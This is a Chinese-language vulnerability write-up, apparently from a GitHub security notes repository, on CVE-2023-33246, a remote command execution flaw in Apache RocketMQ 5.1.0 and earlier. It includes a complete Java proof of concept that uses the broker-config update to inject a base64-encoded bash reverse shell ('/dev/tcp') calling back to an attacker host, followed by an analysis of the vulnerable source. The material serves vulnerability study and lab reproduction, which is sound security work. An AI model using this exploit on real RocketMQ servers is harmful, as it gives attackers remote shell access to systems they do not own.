Skip to content

Latest commit

 

History

History
135 lines (108 loc) · 4.54 KB

Apache RocketMQ 远程命令执行漏洞 CVE-2023-33246.md

File metadata and controls

135 lines (108 loc) · 4.54 KB

Apache RocketMQ 远程命令执行漏洞 CVE-2023-33246

漏洞描述

Apache RocketMQ是一个分布式消息平台。

在其5.1.0版本及以前存在一处命令执行漏洞,攻击者通过向其更新配置相关的功能发送指令即可更新任意配置项,并通过配置项中存在的命令注入功能执行任意命令。

参考链接:

环境搭建

Vulhub 使用 docker composedocker-compose 启动:

docker compose up -d

漏洞复现

使用 IDEAEclipseIDE 新建一个 Maven 项目,导入依赖:

<dependencies>
    <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
    <dependency>
        <groupId>org.apache.rocketmq</groupId>
        <artifactId>rocketmq-tools</artifactId>
        <version>5.1.0</version>
    </dependency>
</dependencies>

PoC 如下:

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Base64;
import java.util.Properties;

public class Main {
    private static String getCmd(String ip, String port) {
        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
    }

    public static void main(String[] args) throws Exception {
        String targetHost = "your-ip";
        String targetPort = "10911";

        String shellHost = "your-ip";
        String shellPort = "12345";

        String targetAddr = String.format("%s:%s",targetHost,targetPort);
        Properties props = new Properties();
        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
        props.setProperty("filterServerNums", "1");
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr("0.0.0.0:12345");
        admin.start();
        admin.updateBrokerConfig(targetAddr, props);
        Properties brokerConfig = admin.getBrokerConfig(targetAddr);
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        admin.shutdown();
    }
}

在控制台成功输出新的配置后,请等待30秒左右,将会收到反连请求。

image-20230605095851218

漏洞分析

PoC 对 filterServerNums 属性和 rocketmqHome 属性进行了修改。

为什么要修改filterServerNums属性:如果配置的filterServerNums为0,计算得出的more也会是0,因此无法进入callShell方法执行命令。

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() -
        this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

public static void callShell(final String shellString, final Logger log) {
    Process process = null;
    try {
        String[] cmdArray = splitShellString(shellString);
        process = Runtime.getRuntime().exec(cmdArray);
        process.waitFor();
        log.info("CallShell: <{}> OK", shellString);
    } catch (Throwable e) {
        log.error("CallShell: readLine IOException, {}", shellString, e);
    } finally {
        if (null != process)
            process.destroy();
    }
}

为什么要修改rocketmqHome属性:在构建命令的时候,最终会调用splitShellString方法按照空格对参数进行分割,所以不可以是NamesrvAddr参数,只能是开头的rocketmqHome参数,但是由于参数分割规则,所以需要更严格的命令和巧妙的技巧才可以执行。

private String buildStartCommand() {
    String config = "";
    if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
        config = String.format("-c %s",
        BrokerStartup.CONFIG_FILE_HELPER.getFile());
    }
    if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
        config += String.format(" -n %s",
        this.brokerController.getBrokerConfig().getNamesrvAddr());
    }
    if (NetworkUtil.isWindowsPlatform()) {
        return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
        this.brokerController.getBrokerConfig().getRocketmqHome(),
        config);
    } else {
        return String.format("sh %s/bin/startfsrv.sh %s",
        this.brokerController.getBrokerConfig().getRocketmqHome(),
        config);
    }
}